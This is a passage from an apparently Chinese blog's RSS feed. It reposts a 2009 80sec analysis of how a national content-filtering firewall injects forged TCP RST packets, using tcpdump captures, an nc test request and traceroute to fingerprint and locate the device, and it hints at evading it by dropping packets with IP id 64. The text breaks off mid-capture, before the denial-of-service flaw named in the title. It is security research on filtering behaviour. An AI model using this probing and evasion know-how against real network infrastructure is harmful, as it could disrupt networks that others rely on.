<?xml version="1.0" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="css/rss.xslt"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>MK2-风 之谷 - 黑客技术</title><link>http://www.mk2leo.com/</link><description>大家来学习编程吧 - </description><generator>RainbowSoft Studio Z-Blog 1.8 Arwen Build 90619</generator><language>zh-CN</language><copyright>MK2-风版权所有.</copyright><pubDate>Sat, 04 Sep 2010 21:39:28 +0800</pubDate><item><title>对某款国家级内容过滤系统Dos安全缺陷分析</title><author>mk2leo@qq.com (leoling504)</author><link>http://www.mk2leo.com/post/178.html</link><pubDate>Thu, 21 Jan 2010 20:11:41 +0800</pubDate><guid>http://www.mk2leo.com/post/178.html</guid><description><![CDATA[<p>&nbsp;Author:&nbsp;<a target="_blank" style="color: rgb(11, 89, 178); text-decoration: none; " href="http://www.80sec.com/dos-with-xxx.html">jianxin [80sec]</a></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">EMail:	 jianxin#80sec.com<br />Site: http://www.80sec.com<br />Date:	2009-1-2<br />From:	http://www.80sec.com/release/dos-with-XXX.txt</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">[ 目录 ]</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">0x00	前言<br />0x01	know it，了解这款内容过滤系统<br />0x02	Hack it，对防火墙类ids的一些安全研究<br />0x03	后话<br /><br />0x00	前言</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">最近在学习网络基础知识，秉承Hack to learn的作风，想对学习做个总结就想到分析一些网络设备的安全问题来作为一次总结。相信对于某款国家级内容过滤系统大家都不陌生，也被称为国家边界防火墙，其本质上只是一款强大的入侵检测系统，并且在某些行为发生时对网络攻击进行实时的联动阻断。这里对它的作用并不做探讨，对如何绕过它也不做分析，这里仅仅是将它看作一款功能强大的国家级IPS，从技术角度来讨论下这类IPS在关键网络部署时可能存在的一些安全问题以及对普通网站的影响。</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">0x01	know it，了解这款内容过滤系统</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">同一般的入侵检测系统或者其他号称网关级别过滤系统类似，它定义了一些策略以阻止某些危险的网络访问，其策略包含静态封禁也包含动态封禁，譬如对于Google和Yahoo类搜索引擎来说，国内用户在使用这些站点时如果触发了敏感的关键词的话，其IP就会被动态封禁一段时间，几分钟之类将不能再使用Google，这里的关键词就是被防火墙所定义的危险行为，譬如拿关键词Freenet/freenet来说，在Google里进行一次搜索请求之后就会发现Google在几分钟之内将不再能被访问，多余所有其他处于国外的服务器效果也是一样。我分析的整个过程如下:</p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">首先对正常的一次Google访问抓包，可以看到结果如下：</p><pre style="margin-top: 4px; margin-right: 4px; margin-bottom: 4px; margin-left: 4px; padding-top: 4px; padding-right: 8px; padding-bottom: 4px; padding-left: 8px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-color: rgb(204, 204, 204); border-right-color: rgb(204, 204, 204); border-bottom-color: rgb(204, 204, 204); border-left-color: rgb(204, 204, 204); border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; line-height: 18px; overflow-x: auto; overflow-y: auto; word-wrap: break-word; max-height: 220px; "><code style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); ">bt ~ # tcpdump -vv -nn -S host 64.233.189.103 and port 80 tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes 22:39:26.261092 IP (tos 0x0, ttl 64, id 33001, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.4.44297 &gt; 64.233.189.103.80: S, cksum 0xcc0f (correct), 1790346900:1790346900(0) win 5840 &lt;mss 1460,sackOK,timestamp 329341 0,nop,wscale 4&gt; 22:39:26.349797 IP (tos 0x0, ttl 50, id 41053, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 &gt; 192.168.1.4.44297: S, cksum 0x3698 (correct), 3974796664:3974796664(0) ack 1790346901 win 5672 &lt;mss 1412,sackOK,timestamp 1072157681 329341,nop,wscale 6&gt; 22:39:26.350452 IP (tos 0x0, ttl 64, id 33002, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 &gt; 64.233.189.103.80: ., cksum 0x79d7 (correct), 1790346901:1790346901(0) ack 3974796665 win 365 &lt;nop,nop,timestamp 329364 1072157681&gt; 22:39:36.161454 IP (tos 0x0, ttl 64, id 33003, offset 0, flags [DF], proto TCP (6), length 67) 192.168.1.4.44297 &gt; 64.233.189.103.80: P, cksum 0xa1a9 (correct), 1790346901:1790346916(15) ack 3974796665 win 365 &lt;nop,nop,timestamp 331806 1072157681&gt; 22:39:36.248632 IP (tos 0x0, ttl 50, id 41053, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 &gt; 192.168.1.4.44297: ., cksum 0x4a9a (correct), 3974796665:3974796665(0) ack 1790346916 win 89 &lt;nop,nop,timestamp 1072167593 331806&gt; 22:39:37.476626 IP (tos 0x0, ttl 64, id 33004, offset 0, flags [DF], proto TCP (6), length 53) 192.168.1.4.44297 &gt; 64.233.189.103.80: P, cksum 0x3e36 (correct), 1790346916:1790346917(1) ack 3974796665 win 365 &lt;nop,nop,timestamp 332133 1072167593&gt; 22:39:37.563675 IP (tos 0x0, ttl 50, id 41054, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 &gt; 192.168.1.4.44297: ., cksum 0x442e (correct), 3974796665:3974796665(0) ack 1790346917 win 89 &lt;nop,nop,timestamp 1072168909 332133&gt; 22:39:37.611453 IP (tos 0x0, ttl 50, id 41055, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 &gt; 192.168.1.4.44297: . 3974796665:3974798065(1400) ack 1790346917 win 89 &lt;nop,nop,timestamp 1072168933 332133&gt; 22:39:37.611545 IP (tos 0x0, ttl 64, id 33005, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 &gt; 64.233.189.103.80: ., cksum 0x3cb3 (correct), 1790346917:1790346917(0) ack 3974798065 win 546 &lt;nop,nop,timestamp 332167 1072168933&gt; 22:39:37.624333 IP (tos 0x0, ttl 50, id 41056, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 &gt; 192.168.1.4.44297: . 3974798065:3974799465(1400) ack 1790346917 win 89 &lt;nop,nop,timestamp 1072168933 332133&gt; 22:39:37.624364 IP (tos 0x0, ttl 64, id 33006, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 &gt; 64.233.189.103.80: ., cksum 0x3683 (correct), 1790346917:1790346917(0) ack 3974799465 win 727 &lt;nop,nop,timestamp 332170 1072168933&gt; 22:39:37.642937 IP (tos 0x0, ttl 50, id 41057, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 &gt; 192.168.1.4.44297: . 3974799465:3974800865(1400) ack 1790346917 win 89 &lt;nop,nop,timestamp 1072168933 332133&gt; 22:39:37.642953 IP (tos 0x0, ttl 64, id 33007, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 &gt; 64.233.189.103.80: ., cksum 0x3051 (correct), 1790346917:1790346917(0) ack 3974800865 win 908 &lt;nop,nop,timestamp 332175 1072168933&gt; 22:39:37.646286 IP (tos 0x0, ttl 50, id 41058, offset 0, flags [none], proto TCP (6), length 532) 64.233.189.103.80 &gt; 192.168.1.4.44297: P 3974800865:3974801345(480) ack 1790346917 win 89 &lt;nop,nop,timestamp 1072168933 332133&gt; 22:39:37.646302 IP (tos 0x0, ttl 64, id 33008, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 &gt; 64.233.189.103.80: ., cksum 0x2dc1 (correct), 1790346917:1790346917(0) ack 3974801345 win 1083 &lt;nop,nop,timestamp 332176 1072168933&gt; 22:39:37.717617 IP (tos 0x0, ttl 50, id 41059, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 &gt; 192.168.1.4.44297: . 3974801345:3974802745(1400) ack 1790346917 win 89 &lt;nop,nop,timestamp 1072169045 332167&gt; 22:39:37.717634 IP (tos 0x0, ttl 64, id 33009, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 &gt; 64.233.189.103.80: ., cksum 0x2713 (correct), 1790346917:1790346917(0) ack 3974802745 win 1264 &lt;nop,nop,timestamp 332193 1072169045&gt; 22:39:37.736610 IP (tos 0x0, ttl 50, id 41060, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 &gt; 192.168.1.4.44297: . 3974802745:3974804145(1400) ack 1790346917 win 89 &lt;nop,nop,timestamp 1072169045 332167&gt; 22:39:37.736645 IP (tos 0x0, ttl 64, id 33010, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 &gt; 64.233.189.103.80: ., cksum 0x20e1 (correct), 1790346917:1790346917(0) ack 3974804145 win 1445 &lt;nop,nop,timestamp 332198 1072169045&gt; 22:39:37.755088 IP (tos 0x0, ttl 50, id 41061, offset 0, flags [none], proto TCP (6), length 1449) 64.233.189.103.80 &gt; 192.168.1.4.44297: P 3974804145:3974805542(1397) ack 1790346917 win 89 &lt;nop,nop,timestamp 1072169045 332167&gt; 22:39:37.755107 IP (tos 0x0, ttl 64, id 33011, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 &gt; 64.233.189.103.80: ., cksum 0x1ab2 (correct), 1790346917:1790346917(0) ack 3974805542 win 1626 &lt;nop,nop,timestamp 332203 1072169045&gt;</code></pre><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">我们可以看到完整的一次请求过程，先是三次握手，然后是发数据包以及服务器和客户端之间的完整交互，从这里我们可以识别出Google服务器的一些指纹特征，譬如未设置不分片标志，TTL值比较恒定为50等等。<br />那么当一次非法的请求发生时，情况会是怎么样的呢？譬如在Google里搜索会被封禁的关键词freenet的时候，结果如下：</p><pre style="margin-top: 4px; margin-right: 4px; margin-bottom: 4px; margin-left: 4px; padding-top: 4px; padding-right: 8px; padding-bottom: 4px; padding-left: 8px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-color: rgb(204, 204, 204); border-right-color: rgb(204, 204, 204); border-bottom-color: rgb(204, 204, 204); border-left-color: rgb(204, 204, 204); border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; line-height: 18px; overflow-x: auto; overflow-y: auto; word-wrap: break-word; max-height: 220px; "><code style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); ">bt ~ # nc -vv 64.233.189.103 80 hkg01s01-in-f103.1e100.net [64.233.189.103] 80 (http) open GET /?q=freenet HTTP/1.1  sent 26, rcvd 0 bt ~ #</code></pre><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">可以看到一发送非法的请求之后Google就主动断开了链接，整个过程的网络抓包如下：</p><pre style="margin-top: 4px; margin-right: 4px; margin-bottom: 4px; margin-left: 4px; padding-top: 4px; padding-right: 8px; padding-bottom: 4px; padding-left: 8px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-color: rgb(204, 204, 204); border-right-color: rgb(204, 204, 204); border-bottom-color: rgb(204, 204, 204); border-left-color: rgb(204, 204, 204); border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; line-height: 18px; overflow-x: auto; overflow-y: auto; word-wrap: break-word; max-height: 220px; "><code style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); ">bt ~ # tcpdump -vv -nn -S host 64.233.189.103 and port 80 tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes 22:54:15.744058 IP (tos 0x0, ttl 64, id 36724, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.4.42909 &gt; 64.233.189.103.80: S, cksum 0xd712 (correct), 2729633795:2729633795(0) win 5840 &lt;mss 1460,sackOK,timestamp 550775 0,nop,wscale 4&gt; 22:54:15.831374 IP (tos 0x0, ttl 50, id 12868, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 &gt; 192.168.1.4.42909: S, cksum 0x9163 (correct), 1209516567:1209516567(0) ack 2729633796 win 5672 &lt;mss 1412,sackOK,timestamp 1081539534 550775,nop,wscale 6&gt; 22:54:15.831408 IP (tos 0x0, ttl 64, id 36725, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.42909 &gt; 64.233.189.103.80: ., cksum 0xd4a3 (correct), 2729633796:2729633796(0) ack 1209516568 win 365 &lt;nop,nop,timestamp 550797 1081539534&gt; 22:54:31.619002 IP (tos 0x0, ttl 64, id 36726, offset 0, flags [DF], proto TCP (6), length 77) 192.168.1.4.42909 &gt; 64.233.189.103.80: P, cksum 0xd6e1 (correct), 2729633796:2729633821(25) ack 1209516568 win 365 &lt;nop,nop,timestamp 554727 1081539534&gt; 22:54:31.727889 IP (tos 0x0, ttl 50, id 12868, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 &gt; 192.168.1.4.42909: ., cksum 0x8867 (correct), 1209516568:1209516568(0) ack 2729633821 win 89 &lt;nop,nop,timestamp 1081555371 554727&gt; 22:54:32.065444 IP (tos 0x0, ttl 64, id 36727, offset 0, flags [DF], proto TCP (6), length 53) 192.168.1.4.42909 &gt; 64.233.189.103.80: P, cksum 0x7cdb (correct), 2729633821:2729633822(1) ack 1209516568 win 365 &lt;nop,nop,timestamp 554838 1081555371&gt; 22:54:32.148169 IP (tos 0x0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 &gt; 192.168.1.4.42909: R, cksum 0x3399 (correct), 1209516568:1209516568(0) win 2605 22:54:32.151504 IP (tos 0x0, ttl 50, id 12869, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 &gt; 192.168.1.4.42909: ., cksum 0x863a (correct), 1209516568:1209516568(0) ack 2729633822 win 89 &lt;nop,nop,timestamp 1081555816 554838&gt; 22:54:32.151840 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40) 192.168.1.4.42909 &gt; 64.233.189.103.80: R, cksum 0xbd24 (correct), 2729633822:2729633822(0) win 0 22:54:32.153474 IP (tos 0x0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 &gt; 192.168.1.4.42909: R, cksum 0x1779 (correct), 1209516568:1209516568(0) win 9805</code></pre><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">可以看到的是，用户在发送完push包之后，Google的服务器也就是64.233.189.103返回了ack数据包表示收到了该请求，并且回复的ack包的序列号跟预期的一致，这里有两次push是因为我用nc提交的，加的回车会单独发一个过去。这样理论上服务器应该马上会回复一个push包响应我们前面的请求，但是结果我们收到了一个意外的rst包如下：</p><pre style="margin-top: 4px; margin-right: 4px; margin-bottom: 4px; margin-left: 4px; padding-top: 4px; padding-right: 8px; padding-bottom: 4px; padding-left: 8px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-color: rgb(204, 204, 204); border-right-color: rgb(204, 204, 204); border-bottom-color: rgb(204, 204, 204); border-left-color: rgb(204, 204, 204); border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; line-height: 18px; overflow-x: auto; overflow-y: auto; word-wrap: break-word; max-height: 220px; "><code style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); ">22:54:32.148169 IP (tos 0x0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 &gt; 192.168.1.4.42909: R, cksum 0x3399 (correct), 1209516568:1209516568(0) win 2605</code></pre><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">并且该诡异的tcp包还发了两次，然后我们的客户端就以为服务器重置了该链接，这个时候服务器还老老实实的回复了一个对前面的push包的确认包，不过这个包已经被前面莫名其妙的rst包用掉了，并且客户端也按要求重置了链接，所以就回复了一个rst包：</p><pre style="margin-top: 4px; margin-right: 4px; margin-bottom: 4px; margin-left: 4px; padding-top: 4px; padding-right: 8px; padding-bottom: 4px; padding-left: 8px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-color: rgb(204, 204, 204); border-right-color: rgb(204, 204, 204); border-bottom-color: rgb(204, 204, 204); border-left-color: rgb(204, 204, 204); border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; line-height: 18px; overflow-x: auto; overflow-y: auto; word-wrap: break-word; max-height: 220px; "><code style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); ">22:54:32.151840 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40) 192.168.1.4.42909 &gt; 64.233.189.103.80: R, cksum 0xbd24 (correct), 2729633822:2729633822(0) win 0</code></pre><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">恩，这个tcp链接到这里玩完了。那么这个莫名其妙的rst包是谁发出来的呢？首先来确认下是不是Google自己抽风发出来的吧。注意最上面提到的正常情况下来自Google返回的包的指纹，我们可以看到如下几个地方发生了明显的变化：</p><pre style="margin-top: 4px; margin-right: 4px; margin-bottom: 4px; margin-left: 4px; padding-top: 4px; padding-right: 8px; padding-bottom: 4px; padding-left: 8px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-color: rgb(204, 204, 204); border-right-color: rgb(204, 204, 204); border-bottom-color: rgb(204, 204, 204); border-left-color: rgb(204, 204, 204); border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; line-height: 18px; overflow-x: auto; overflow-y: auto; word-wrap: break-word; max-height: 220px; "><code style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); ">22:54:15.831374 IP (tos 0x0, ttl 50, id 12868, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 &gt; 192.168.1.4.42909: S, cksum 0x9163 (correct), 1209516567:1209516567(0) ack 2729633796 win 5672 &lt;mss 1412,sackOK,timestamp 1081539534 550775,nop,wscale 6&gt; 22:54:32.148169 IP (tos 0x0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 &gt; 192.168.1.4.42909: R, cksum 0x3399 (correct), 1209516568:1209516568(0) win 2605</code></pre><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">首先ttl发生了变化，这在默认情况下基本代表了设备在网络上的位置，另外ID在系统内被用来识别一个tcp包，明显的差异过大，然后Google的服务器还返回了一堆可选字段的内容，但是那个怪异的rst包完全没有这个特征，通过这些基本可以确认这个rst包并非来自于真正的Google服务器，通过多抓几次数据包就可以证明这个结论。那么这个设备是出于哪个位置呢？我们简单的tracert下看看结果：</p><pre style="margin-top: 4px; margin-right: 4px; margin-bottom: 4px; margin-left: 4px; padding-top: 4px; padding-right: 8px; padding-bottom: 4px; padding-left: 8px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-color: rgb(204, 204, 204); border-right-color: rgb(204, 204, 204); border-bottom-color: rgb(204, 204, 204); border-left-color: rgb(204, 204, 204); border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; line-height: 18px; overflow-x: auto; overflow-y: auto; word-wrap: break-word; max-height: 220px; "><code style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); ">traceroute to 64.233.189.103 (64.233.189.103), 30 hops max, 38 byte packets 1  localhost (192.168.1.1)  4.667 ms  1.949 ms  1.650 ms 2  114.249.208.1 (114.249.208.1)  28.304 ms  28.438 ms  34.123 ms 3  125.35.65.97 (125.35.65.97)  26.429 ms  27.363 ms  25.844 ms 4  bt-227-109.bta.net.cn (202.106.227.109)  27.641 ms  26.971 ms  27.268 ms 5  61.148.153.121 (61.148.153.121)  26.936 ms  27.722 ms  27.802 ms 6  123.126.0.121 (123.126.0.121)  27.675 ms  26.996 ms  28.620 ms 7  219.158.4.94 (219.158.4.94)  82.732 ms  82.175 ms  82.608 ms 8  219.158.3.66 (219.158.3.66)  69.978 ms  70.491 ms  136.986 ms 9  219.158.3.130 (219.158.3.130)  77.807 ms  87.424 ms  446.165 ms 10  219.158.32.230 (219.158.32.230)  413.888 ms  87.384 ms  86.614 ms 11  64.233.175.207 (64.233.175.207)  114.188 ms  79.037 ms  113.107 ms 12  209.85.241.56 (209.85.241.56)  87.721 ms  88.063 ms  87.341 ms 13  66.249.94.6 (66.249.94.6)  87.068 ms  99.377 ms  94.140 ms 14  hkg01s01-in-f103.1e100.net (64.233.189.103)  86.094 ms  85.901 ms  86.429 ms</code></pre><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">ttl是数据包在网络上的存活时间，每经过一个路由器这个ttl就会减1，可以避免某些数据包无止境的在网络上传输，所以可以被用来确认设备离我们主机在网络上的跳数和距离。我们在抓包的时候可以发现我们默认发出去的数据包ttl是64，我这里用的是linux的系统，一般的网络设备初始值为64，128，255，linux类系统的初始值一般都为64，所以这里我们可以看到Google返回值是50，这是可以确认的，因为可以看到我们到google有14跳，一般linux服务器的初始值为64，到我们这正好是50。那么这个ttl=53的异常包是在哪呢？64-13=11，哦，应该是在11跳左右，到路由上链上找找就发现可能是64.233.175.207这个IP发的，但是去查却会发现这个ip是Google的，米国人民劫持我们的数据包不让访问Google？不太靠谱啊，那么很可能是从第10旁路出去的包，查查第10跳发现是网通骨干网的，这理论上就是可能的了，当然，这之前的节点都有可能，但是最有可能的应该还是这个节点，因为这个节点可以监视所有出口的流量嘛！<br />再来分析下是如何拒绝掉我们的链接的，该设备嫁接在骨干网上，说是嫁接是因为做这个事情的应该不是骨干路由器，从TTL或者其他一些常识可以看出来，毕竟骨干路由上直接做操作的话风险太大了，不能影响正常应用这是防火墙起码的要求，既然该设备能处于这么一个位置，那么自然可以做到将流量以镜像的方式导入到自己的设备上，并且实时的监视整个tcp的链接。我们知道想表示一条正常的tcp链接是需要五元组的，包括协议，源端口，源IP，目的端口，目的IP，想完整的控制一个tcp链接还需要在这个基础上加一个seq，ack序列号表示正常的tcp进行的状态，想猜测这些基本是不可能的。黑客多少年梦想的对这些的预测都可以轻易在骨干路由上的旁路设备实现，在某些省市大行劫持之道的运营商面前，黑客是个弱势群体。既然有五元组，还有序列号，那么对tcp的操作自然非常简单了，最高明的就是一个rst包让整个tcp链接直接消失掉。有些文章说这个神奇的设备会向两边发送rst包，从我的抓包分析结果来看，看起来这个结论并不可靠，如果向google发送了rst包的话，那么后面一个push的ack包就应该是没有收到才对。另外可以看到，第一个push包发出去之后，这个神奇的设备就有了反应，并不等我第二个包请求发出去凑成一个完整的http请求我们就收到了rst包，这个push包触发了特征了。但是我比较奇怪的是，如果是这样，那么很可能在时间上出现服务器的push包比rst包先到达，这样就起不到阻断的作用，但是从距离和服务器需要对请求响应这点来看，这发生的几率比较小，另外一种可能是，我们客户端发送的rst包到达Google服务器的时候，服务器的push包已经发送到我们的客户端了，尽管不能完成展现，但是包已经收到了，不是么，呵呵！另外一点，从多次试验的结果来看，我们通过在系统底层处理掉id=64的包，是可以完成这一次请求的，水平有限，以后再测试：）<br />但是这一次的请求被你侥幸获取并不能意味着什么，防火墙的另外一个强大功能你还没有体验，那就是灰名单动态封禁功能，通过上面的请求，你已经被认为是黑客触发了防火墙的规则，你的ip和目标服务器之间的请求将临时性的出现问题。正常情况下到Google的TCP连接如下，这里演示的是nc链接到服务器并且断掉的结果：</p><pre style="margin-top: 4px; margin-right: 4px; margin-bottom: 4px; margin-left: 4px; padding-top: 4px; padding-right: 8px; padding-bottom: 4px; padding-left: 8px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-color: rgb(204, 204, 204); border-right-color: rgb(204, 204, 204); border-bottom-color: rgb(204, 204, 204); border-left-color: rgb(204, 204, 204); border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; line-height: 18px; overflow-x: auto; overflow-y: auto; word-wrap: break-word; max-height: 220px; "><code style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); ">bt ~ # nc -vv 64.233.189.103 80 hkg01s01-in-f103.1e100.net [64.233.189.103] 80 (http) open sent 0, rcvd 0 bt ~ #</code></pre><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 8px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">这里我按了下ctrl+c的</p><pre style="margin-top: 4px; margin-right: 4px; margin-bottom: 4px; margin-left: 4px; padding-top: 4px; padding-right: 8px; padding-bottom: 4px; padding-left: 8px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-color: rgb(204, 204, 204); border-right-color: rgb(204, 204, 204); border-bottom-color: rgb(204, 204, 204); border-left-color: rgb(204, 204, 204); border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; line-height: 18px; overflow-x: auto; overflow-y: auto; word-wrap: break-word; max-height: 220px; "><code style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: 'Lucida Console', 'Courier New', Courier, mono, monospace; color: rgb(51, 51, 51); background-color: rgb(248, 248, 248); ">bt ~ # tcpdump -nn -vv -S port 80 tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes 21:53:12.553207 IP (tos 0x0, ttl 64, id 20037, offset 0, 